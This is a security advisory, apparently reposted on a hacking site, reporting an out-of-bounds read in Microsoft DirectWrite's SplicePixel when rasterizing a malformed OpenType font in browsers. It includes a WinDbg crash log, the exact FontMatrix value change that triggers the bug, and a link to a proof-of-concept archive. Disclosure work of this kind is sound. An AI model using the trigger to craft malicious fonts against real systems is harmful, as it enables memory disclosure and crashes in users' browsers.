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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Microsoft DirectWrite is a modern Windows API for high-quality text rendering. A majority of its code resides in the DWrite.dll user-mode library. It is used by a variety of widely used desktop programs (such as the Chrome, Firefox and Edge browsers) and constitutes an attack surface for memory corruption bugs, as it performs the processing of untrusted font files and is written in C/C++.

Through fuzzing, we have discovered a crash caused by an invalid memory read in DWrite!SplicePixel, while rasterizing the glyphs of a slightly malformed OpenType font. The problem reproduces in all major browsers; below is a crash log from the Microsoft Edge renderer process, generated when trying to open a web page with the proof-of-concept font embedded:

--- cut ---
(281c.25d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DWrite!SplicePixel+0x14b:
00007fff`b8634473 488b14f0        mov     rdx,qword ptr [rax+rsi*8] ds:00000227`c62d95b0=????????????????

0:031> u
DWrite!SplicePixel+0x14b:
00007fff`b8634473 488b14f0        mov     rdx,qword ptr [rax+rsi*8]
00007fff`b8634477 4885d2          test    rdx,rdx
00007fff`b863447a 7474            je      DWrite!SplicePixel+0x1c8 (00007fff`b86344f0)
00007fff`b863447c 458d4b01        lea     r9d,[r11+1]
00007fff`b8634480 8b4208          mov     eax,dword ptr [rdx+8]
00007fff`b8634483 413bc1          cmp     eax,r9d
00007fff`b8634486 7f68            jg      DWrite!SplicePixel+0x1c8 (00007fff`b86344f0)
00007fff`b8634488 488b0a          mov     rcx,qword ptr [rdx]

0:031> ? rax
Evaluate expression: 2369851854688 = 00000227`c62d8f60

0:031> ? rsi
Evaluate expression: 202 = 00000000`000000ca

0:031> dd rax
00000227`c62d8f60  ???????? ???????? ???????? ????????
00000227`c62d8f70  ???????? ???????? ???????? ????????
00000227`c62d8f80  ???????? ???????? ???????? ????????
00000227`c62d8f90  ???????? ???????? ???????? ????????
00000227`c62d8fa0  ???????? ???????? ???????? ????????
00000227`c62d8fb0  ???????? ???????? ???????? ????????
00000227`c62d8fc0  ???????? ???????? ???????? ????????
00000227`c62d8fd0  ???????? ???????? ???????? ????????

0:031> k
 # Child-SP          RetAddr           Call Site
00 000000b4`ceaebe00 00007fff`b8634306 DWrite!SplicePixel+0x14b
01 000000b4`ceaebe50 00007fff`b8633325 DWrite!SetPixelInDropOut+0x9a
02 000000b4`ceaebe90 00007fff`b86322a8 DWrite!FillInInflection+0xcd
03 000000b4`ceaebf00 00007fff`b863281b DWrite!DoXInflections+0x118
04 000000b4`ceaebf40 00007fff`b86319ca DWrite!EditBlackSpace+0x29f
05 000000b4`ceaebfa0 00007fff`b8636118 DWrite!CScan+0x72
06 000000b4`ceaebff0 00007fff`b855b1b2 DWrite!CScanFill+0x204
07 000000b4`ceaec0e0 00007fff`b848ccef DWrite!DoType1InterpretCharString+0xcd77a
08 000000b4`ceaec790 00007fff`b862ea16 DWrite!Type1InterpretCharString+0x163
09 000000b4`ceaec880 00007fff`b862dd49 DWrite!BuildRuns+0x186
0a 000000b4`ceaec9b0 00007fff`b862b2b9 DWrite!ATMBuildBitMap+0xb9
0b 000000b4`ceaeca80 00007fff`b85b88b7 DWrite!AdobeInternalGetBitmap+0x31d
0c 000000b4`ceaecd20 00007fff`b85b877a DWrite!CffRasterizer::Implementation::GetBitmap+0x11f
0d 000000b4`ceaece60 00007fff`b84e2c89 DWrite!CffRasterizer::GetBitmap+0x2a
0e 000000b4`ceaecea0 00007fff`b84b1754 DWrite!GlyphBitmapRasterizationState::RasterizeGlyph+0x111
0f 000000b4`ceaecee0 00007fff`c8e3e1ce DWrite!DWriteGlyphLookupCache::GetGlyphBitmapInfo+0x264
10 000000b4`ceaed150 00007fff`c8e3e95f d2d1!GlyphRunAnalyzer::AddCachedGlyph+0x62
11 000000b4`ceaed200 00007fff`c8e460b0 d2d1!GlyphRunAnalyzer::GetGlyphs+0x18f
12 000000b4`ceaed250 00007fff`c8e5572d d2d1!GlyphRunRenderer::InitForRendering+0x2c0
13 000000b4`ceaed390 00007fff`c8ebffe4 d2d1!CHwSurfaceRenderTarget::DrawGlyphRun+0x38d
14 000000b4`ceaed6a0 00007fff`c8e5379e d2d1!BrushRedirectionCompatibleCommand<CCommand_DrawGlyphRun,0>::Execute+0x134
15 000000b4`ceaed7b0 00007fff`c8e6e7ef d2d1!CHwSurfaceRenderTarget::ProcessBatch+0x3ce
16 000000b4`ceaed860 00007fff`c8e6a0ae d2d1!CBatchSerializer::FlushInternal+0x13f
17 000000b4`ceaed8f0 00007fff`c8e6143b d2d1!DrawingContext::Flush+0x96
18 000000b4`ceaed950 00007fff`9dba551e d2d1!D2DDeviceContextBase<ID2D1DeviceContext6,ID2D1DeviceContext6,null_type>::EndDraw+0x13b
19 000000b4`ceaeda90 00007fff`9da3a704 edgehtml!CDXRenderTarget::EndDrawD2D+0x66
1a 000000b4`ceaedac0 00007fff`9da3a4e8 edgehtml!CDXRenderTarget::EnsureRenderMode+0x184
1b 000000b4`ceaedaf0 00007fff`9db9db85 edgehtml!CDXRenderTarget::EndDraw+0x38
1c 000000b4`ceaedb40 00007fff`9db9da0b edgehtml!CDispSurface::EndLayerToRenderTarget+0x145
1d 000000b4`ceaedbe0 00007fff`9da2585f edgehtml!CDispNodeDestination::EndRender+0x6b
1e 000000b4`ceaedc50 00007fff`9db660c1 edgehtml!CDispNodeDestination::EndRect+0xaf
1f 000000b4`ceaedc90 00007fff`9da1cf83 edgehtml!CDispDestinationDrawHelper::EndRect+0x31
20 000000b4`ceaedcc0 00007fff`9d9de055 edgehtml!CDispContainer::DrawSelfContent+0x583
21 000000b4`ceaede30 00007fff`9d9df37e edgehtml!CDispContainer::DrawSelf+0x365
22 000000b4`ceaedfc0 00007fff`9da1ee43 edgehtml!CDispNode::DrawInternal+0x7ce
23 000000b4`ceaee350 00007fff`9da1d747 edgehtml!CDispNode::Draw+0x943
24 000000b4`ceaee560 00007fff`9da1d297 edgehtml!CDispContainer::DrawChildren+0x227
25 000000b4`ceaee620 00007fff`9da1cbc8 edgehtml!CDispContainer::DrawSelfContentFullStackingContext+0x127
26 000000b4`ceaee710 00007fff`9d9de055 edgehtml!CDispContainer::DrawSelfContent+0x1c8
27 000000b4`ceaee880 00007fff`9d9df37e edgehtml!CDispContainer::DrawSelf+0x365
28 000000b4`ceaeea10 00007fff`9da1ead3 edgehtml!CDispNode::DrawInternal+0x7ce
29 000000b4`ceaeeda0 00007fff`9da2a8fc edgehtml!CDispNode::Draw+0x5d3
2a 000000b4`ceaeefb0 00007fff`9da29b68 edgehtml!CDispRoot::DrawIndependentCompositionLayerTree+0x5c
2b 000000b4`ceaef0a0 00007fff`9da297f5 edgehtml!CDispRoot::DrawRoot+0x1b8
2c 000000b4`ceaef2f0 00007fff`9daa452c edgehtml!CPaintHandler::RenderInternal+0x2b5
2d 000000b4`ceaef870 00007fff`9d9c4ac8 edgehtml!CPaintHandler::RenderIfNeeded+0x7c
2e 000000b4`ceaef8e0 00007fff`9dbaa80d edgehtml!CRenderThread::ProcessRenderWork+0xdc
2f 000000b4`ceaef940 00007fff`9dacfdb9 edgehtml!CRenderTaskDrawInPlace::Execute+0xad
30 000000b4`ceaef9b0 00007fff`9dbe7542 edgehtml!CRenderThread::RenderThread+0x229
31 000000b4`ceaefa50 00007fff`cec537e4 edgehtml!CRenderThread::StaticRenderThreadProc+0x42
32 000000b4`ceaefa80 00007fff`cf5bcb81 KERNEL32!BaseThreadInitThunk+0x14
33 000000b4`ceaefab0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
--- cut ---

We have minimized the test case to a single-byte difference in relation to the original file. When decompiled with the "ttx" utility from the fontTools package, the difference becomes obvious: it's a change of one of the FontMatrix values inside the CFF table.

Original data:

<FontMatrix value="0.001 0.0 0.000123 0.001 0.0 0.0"/>

Mutated data:

<FontMatrix value="0.001 2000000.0 0.000123 0.001 0.0 0.0"/>

The issue reproduces on a fully updated Windows 7 and Windows 10 1709; we haven't tested other versions of the system. It could be potentially used to disclose sensitive data from the process address space. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. Attached are the minimized PoC font, original font, an HTML file to reproduce the bug in a browser, and 3 extra non-minimized samples which also trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47381.zip